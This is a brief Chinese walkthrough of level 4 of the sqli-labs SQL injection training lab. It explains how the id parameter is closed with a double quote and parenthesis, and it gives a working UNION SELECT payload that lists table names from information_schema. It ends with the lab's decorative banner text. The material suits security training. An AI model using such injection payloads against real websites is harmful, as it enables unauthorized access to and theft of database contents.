less4
输入单引号发现回显正常，说明单引号被过滤了，输入双引号：
?id=1"
说明输入的Id被一对双引号和圆括号包围，因此闭合双引号和圆括号就行，其他方法跟less1差不多
例如：union查询表名
?id=-1")union select 1,group_concat(table_name),3 from information_schema.tables%23
SQLI DUMB SERIES-4
由于无法解释的神圣旨意，我们徒然地到处找你；你就是孤独，你就是神秘，比恒河或者日落还要遥远。。。。。。